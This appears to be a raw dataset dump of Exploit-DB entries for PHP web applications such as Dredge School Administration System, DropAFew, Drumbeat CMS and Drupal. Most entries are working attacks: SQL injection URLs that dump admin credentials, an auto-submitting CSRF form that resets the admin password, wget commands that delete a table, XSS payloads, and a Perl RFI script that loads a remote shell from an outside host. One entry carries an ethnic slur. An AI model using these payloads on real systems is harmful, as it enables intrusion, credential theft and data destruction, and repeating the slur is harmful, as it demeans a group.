deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38988
Description: Dredge School Administration System - '/DSM/Backup/processbackup.php' Database Backup Information Disclosure
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64720/info
   
Dredge School Administration System is prone to the following security vulnerabilities:
   
1. An SQL-injection vulnerability
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An information-disclosure vulnerability
5. A security-bypass vulnerability
   
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, obtain sensitive information or bypass certain security restrictions to perform unauthorized actions.
   
Dredge School Administration System 1.0 is vulnerable; other versions may also be affected. 

II. Backup Download

##############
VULNERABILITY
##############

/Backup/processbackup.php (LINE: 89-93)

-----------------------------------------------------------------------------
    //save file
 // $handle =
fopen('db-backup-'.time().'-'.(md5(implode(',',$tables))).'.sql','w+');
  $handle = fopen('RecordManager.sql','w+');
  fwrite($handle,$return);
  fclose($handle);

-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

1. Open http://www.example.com/DSM/Backup/processbackup.php
2. When you open the link produces RecordManager.sql
3. to download backup [http://www.example.com/DSM/Backup/RecordManager.sql]
Exploit-DB #38986
Description: Dredge School Administration System - '/DSM/loader.php' Account Information Disclosure
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64720/info
 
Dredge School Administration System is prone to the following security vulnerabilities:
 
1. An SQL-injection vulnerability
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An information-disclosure vulnerability
5. A security-bypass vulnerability
 
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, obtain sensitive information or bypass certain security restrictions to perform unauthorized actions.
 
Dredge School Administration System 1.0 is vulnerable; other versions may also be affected. 

<html>
<title>Iphobos Blog</title>
<label><a href="http://www.example.com/DSM/loader.php?load=data export
send&tableid=3" class="button white">Export Accounts</a></label>
</html>
Exploit-DB #38987
Description: Dredge School Administration System - '/DSM/loader.php' Cross-Site Request Forgery (Admin Account Manipulation)
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64720/info
  
Dredge School Administration System is prone to the following security vulnerabilities:
  
1. An SQL-injection vulnerability
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An information-disclosure vulnerability
5. A security-bypass vulnerability
  
Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, obtain sensitive information or bypass certain security restrictions to perform unauthorized actions.
  
Dredge School Administration System 1.0 is vulnerable; other versions may also be affected. 

[Change Password & Email Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://www.example.com/DSM/loader.php?load=account settings">
<input type="hidden" name="AccessCode" value="123456" />
<input type="hidden" name="ConfirmAccessCode" value="123456" />
<input type="hidden" name="Email" value="email@hotmail.com" />
<input type="hidden" name="MM_update" value="form2" />
</form>
</body>
</html>
Exploit-DB #38985
Description: Dredge School Administration System - '/DSM/loader.php?Id' SQL Injection
Type: webapps
Platform: php
Date: 2014-01-07
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64720/info

Dredge School Administration System is prone to the following security vulnerabilities:

1. An SQL-injection vulnerability
2. A cross-site request forgery vulnerability
3. A cross-site scripting vulnerability
4. An information-disclosure vulnerability
5. A security-bypass vulnerability

Exploiting these issues could allow an attacker to execute arbitrary script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, obtain sensitive information or bypass certain security restrictions to perform unauthorized actions.

Dredge School Administration System 1.0 is vulnerable; other versions may also be affected. 


http://www.example.com/DSM/loader.php?load=editsession&Id=null+and+1=2+union+select+username,2,3,4,AccessCode,6+from+adminstaff

http://www.example.com/DSM/loader.php?load=editterm&Id=null+and+1=2+union+select+concat(username,0x3a,AccessCode),2,3,4+from+adminstaff

http://www.example.com/DSM/loader.php?load=editclass&Id=null+and+1=2+union+select+concat(username,0x3a,AccessCode),2,3,4,5,6+from+adminstaff
Exploit-DB #10763
Description: Dren's PHP Uploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-28
Author: Cyb3r IntRue

Exploit:
Dren's PHP Uploader Remote File Upload Vulnerability

####################################################################################
# [+] Author : Cyb3r IntRue #
# [+]Email : r0ot@live.ru<mailto:r0ot@live.ru> & v7a@hotmail.fr<mailto:v7a@hotmail.fr> #
# [+] Date : 29/12/2009 #
# [+] Software Link : http://freewebtown.com/thanigga/Dren's%20PHP%20Uploader.rar #
# [+] Team : Avengers Team #
# [+] Dork : n/a #
####################################################################################

The exploit :

http://localhost/path/index.php


Upload shell.php ^^



Get now shell :

http://localhost/path/files/shell.php



Thanks to : HAQIQ20

#####################################################
Exploit-DB #5949
Description: Drinks Complete Website 2.1.0 - 'drinkid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  Drinks Website  
 
<<->> Demo site : www.easysitenetwork.com/sites/drinks/


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

 <!> for admin inf0 :: 

   >>>> www.site.me/patch/drinks/drink.php?drinkid=-99999+union+select+0,concat(login,0x3a,password)+from+admin_login/*


 <!> for members inf0 ::

   >>>> www.site.me/patch/drinks/drink.php?drinkid=-99999+union+select+0,concat(login,0x3a,password)+from+users/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ crazy-x  
                           
                      :: abo-najm $ br1ght-dark $ spid3r-net $ hacker-b0y 

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-06-26]
Exploit-DB #29833
Description: DropAFew 0.2 - 'editlogcal.php?save Action calories' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-10
Author: Alexander Klink

Exploit:
source: https://www.securityfocus.com/bid/23400/info
  
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
These issues affect DropAFew 0.2; prior versions may also be affected.

wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*'
http://[target]/calorie/editlogcal.php
Exploit-DB #29831
Description: DropAFew 0.2 - 'newaccount2.php' Arbitrary Account Creation
Type: webapps
Platform: php
Date: 2007-04-10
Author: Alexander Klink

Exploit:
source: https://www.securityfocus.com/bid/23400/info

DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

These issues affect DropAFew 0.2; prior versions may also be affected. 

# create new user
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&[CREDENTIAL_REDACTED]_confirm=1' http://[target]/calorie/newaccount2.php
Exploit-DB #29832
Description: DropAFew 0.2 - 'search.php?delete Action id' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-10
Author: Alexander Klink

Exploit:
source: https://www.securityfocus.com/bid/23400/info
 
DropAFew is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
These issues affect DropAFew 0.2; prior versions may also be affected.
 
# delete foodfacts table
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php
Exploit-DB #10682
Description: Dros - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Dros  RFI Vulnerability                                                 |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Progrom By PHPx3.com 2008. http://phpx3.com/                            |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://server/DRS/include/libs/internals/core.write_compiled_include.php?smarty=[EV!L]
| 2- http://server/DRS/include/libs/internals/core.process_compiled_include.php?smarty=[EV!L]
| 3- http://server/DRS/include/libs/plugins/function.config_load.php?_compile_file=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10575
Description: Drumbeat CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-21
Author: Sora

Exploit:
# Vendor: http://www.drumbeatcms.com.au/
# Version: Version 1.0
# Tested on: Windows and Linux
-----------------------------------------
Drumbeat CMS SQL Injection Exploit
[+] Discovered and notified by Sora
A SQL injection exploit is found in Drumbeat CMS. The vulnerability exists in where there is an index.php page, such as index02.php?id=5. or index03.php?id=2.

Dork: "Powered by Drumbeat" inurl:index02.php

# Code: http://www.site.com/index02.php?id=-2+UNION+SELECT+ALL+group_concat(email,0x3a,username,0x3a,password)+from+auth_users--

You can usually replace the http://www.site.com/ with any site that is vulnerable to SQL injection.

Greetz: Bw0mp and the rest of the people from Incursio ex Subter!

# EOF #
Exploit-DB #9635
Description: Drunken:Golem Gaming Portal - 'admin_news_bot.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-10
Author: EA Ngel

Exploit:
 [+] Author	      : EA Ngel
 [+] Location         : Manado - Indonesia
 [+] Situs            : www[dot]manadocoding[dot]net
 [+] Contact          : engelpemula[at]gmail[dot]com
 [+] Download Script  : http://sourceforge.net/projects/drunkengolem/



 [/] Dork             : sitou timou tumou tou




 [#] Bug              : include $root_path."/include/irc/phpIRC.php";




 [^] 3xpl0it          : http://localhost/[path]/admin/admin_news_bot.php?root_path=[napa.txt?]


                   
 [@] Special Thanks   

 
     - manadocoding   : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki
                        g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's


     - Sekuritionline : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0
                        and friend's   
                      
     
     - lain-lain      : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom
                        wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank P2, moon_lee beib, C6, missi, mizz,
                        hygao, b1beh^p1nk, tasya, san-san and friend's
                    


                    
 [^] Note             : A happy heart is good medicine and a cheerful mind works healing, but a broken spirit dries up the bones.


                        TUHAN MEMBERKATI  

# milw0rm.com [2009-09-10]
Exploit-DB #3207
Description: Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-27
Author: MackRulZ

Exploit:
#(C) MackRulZ - 2007
#
# [Bug name: Drunken:Golem Gaming Portal (root_path) Remote File Include Exploit
#
# [Script Name: Xero Portal v1.2
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
$rfi = "phpIRC.php?root_path="; 
$path = "/include/irc/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) Mackrulz\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan MackruLz\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) Mackrulz\n$thx: xoron\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-27]
Exploit-DB #21863
Description: Drupal 4.0 - News Message HTML Injection
Type: webapps
Platform: php
Date: 2002-09-25
Author: das@hush.com

Exploit:
source: https://www.securityfocus.com/bid/5801/info

Problems with Drupal could allow an attacker to execute arbitrary script code in a vulnerable client.

Drupal fails to sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in their browser. This will occur in the context of the site running the Drupal software. 

<IMG SRC="javascript:alert('unsecure')">
Exploit-DB #22940
Description: Drupal 4.1/4.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-07-21
Author: Ferruh Mavituna

Exploit:
source: https://www.securityfocus.com/bid/8235/info

The Drupal content management system is prone to a cross-site scripting vulnerability. This issue is exposed through the main page and through other sub-pages. An attacker may exploit this issue by including hostile HTML and script code in a malicious link to Drupal. This code may be rendered in the web browser of a user who visits the link.

http://www.example.com/xxx"><script>alert(document.domain)</script><"

http://www.example.com/node/view/666"><script>alert(document.domain)</script>
Exploit-DB #27020
Description: Drupal 4.x - URL-Encoded Input HTML Injection
Type: webapps
Platform: php
Date: 2006-01-01
Author: liz0

Exploit:
source: https://www.securityfocus.com/bid/16117/info

Drupal is prone to an HTML injection vulnerability when handling URL-encoded HTML and script code in message content. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

<img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
Exploit-DB #4510
Description: Drupal 5.2 - PHP Zend Hash ation Vector
Type: webapps
Platform: php
Date: 2007-10-10
Author: ShAnKaR

Exploit:
Drupal <= 5.2 PHP Zend Hash Vulnerability Exploitation Vector

Example: http://www.example.com/drupal/?_menu[callbacks][1][callback]=drupal_eval&_menu[items][][type]=-1&-312030023=1&q=1/<?phpinfo();

# milw0rm.com [2007-10-10]
Exploit-DB #11060
Description: Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-07
Author: emgent

Exploit:
# Exploit Title: 0day Drupal <= 6.15 Multiple Permanent XSS
# Date: 07 01 2009
# Author: Emanuele 'emgent' Gentili
# Software Link: http://ftp.drupal.org/files/projects/drupal-6.15.tar.gz
# Version: Drupal <= 6.15
# CVE : N/A
# Code : http://www.backtrack.it/~emgent/exploits/DrupalMultiplePermanentXss-20090107.txt
# Special Ironic greetz: Károly Négyesi and Heine Deelstra. (Drupal Security Team)


[+] Vulnerability Descrition:
Drupal 6.15 (latest release) is vulnerable to multiple permanent Cross Site Scritpting
and probably the old release too.
 
The severity is anyway low, because an attacker can use it only if he has an access
to "User Management" with the right privileges.
 
The first vulnerability is up in "Access rules". In fact the attacker can write a
code in "Mask" entry textbox and after the submit the code will be executed.
 
The second vulnerability, similar to the first, is allocated in "Roles management",
in fact the attacker, can use "Name Role" for add malicius code, that will be executed
after the submit viewing the related page list.
 
These vulnerabilities are "permanent".
 
 
 
[+] Possible Case History:
 
1)
The attacker named A sniffs the password to authorized user that can manage "User Management" in www.example.com.
A logs in with the sniffed credentials to join "Access Rules" management and create a malicious javascript code
to grab all visitors cookies, and send them to his own server.
 
The attacker could own the admin's system by creating a malicious javascript. To try that out,
he owns his own browser.
 
When the admin user will join the XSSed page, the attacker will execute the attacks with really big possibility
to hack his browser and system using some known/unknown browser issues.
 
 
2)
The attacker named A sniffs the password of the authorized user that can manage "User Management" in www.example.com.
A logs in with the sniffed credentials to join "Name Role" management and create a malicious javascript code
to grab all visitors' cookies, and send them to his own server.
 
The attacker saves the code as "new name role", and logs out of this drupal platform.
 
At this point all users associated to the new role name will be a bridge for showing and sending (client side)
the information requested via the malicious javascript.
 
The autenticated user A, by viewing his profile on drupal causes the javascript to grab his cookies and afterwards send login
data to the attacker system.
 
Another scenario can be user XSS to manage all clients' (not logged, too) browsers always via Javascript (client side).
 
 
[+] Conclusion
 
The severity is low but the scenario can be moderate, the management and the drupal configuration
are really impressive and the possibility to switch tasks and functions too.
With this possibility according to first and second scenarios, admins and users can be hacked.